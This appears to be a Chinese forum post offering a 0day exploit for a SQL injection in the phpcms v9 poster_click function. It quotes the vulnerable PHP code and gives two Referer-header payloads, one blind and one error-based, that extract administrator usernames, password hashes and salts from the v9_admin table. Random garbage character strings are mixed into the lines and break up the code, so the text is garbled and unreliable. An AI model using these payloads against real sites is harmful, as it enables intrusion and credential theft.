phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
8 F. n* O* R' t; w+ K
问题函数\phpcms\modules\poster\index.php

5 Q% K1 l# g, y5 B( h5 ?; qpublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
6 Q9 l1 r- v  ~3 q# |; ?$r = $this->db->get_one(array('id'=>$id));
7 g4 {( L) Q5 P& f5 E1 ~$ o, lif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
7 a! v: s4 `; J: N) g$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$ [, _( C) A: g- e3 w3 k$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
/ l  |$ {5 Q" T/ k2 O8 I# ?$ uif (count($setting)==1) {
$url = $setting['1']['linkurl'];
# O! d' |0 `7 w( u6 B5 r" ?2 Q$ s} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
6 t$ }# C5 w0 |9 E4 u4 [2 i$ B6 Theader('Location: '.$url);
9 G5 }% J6 B  d# o}

. s) \5 s" e9 x2 a! ]" Z
- W: g( L5 {& W5 r- I8 Y1 k
) C8 z# h/ ~) d$ e& z, @( T! F利用方式：

3 c+ l" k/ ^+ C1、可以采用盲注入的手法：

& b! W. J  |/ m- o( ^7 Ureferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
3 g) h8 z9 q+ B
: y' V) s  d5 P% }7 Z通过返回页面，正常与否一个个猜解密码字段。
' n& ?: }+ X) T2 |! P
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
% {+ B: n7 K8 m7 W# N4 y( J
此方法是爆错注入手法，原理自查。
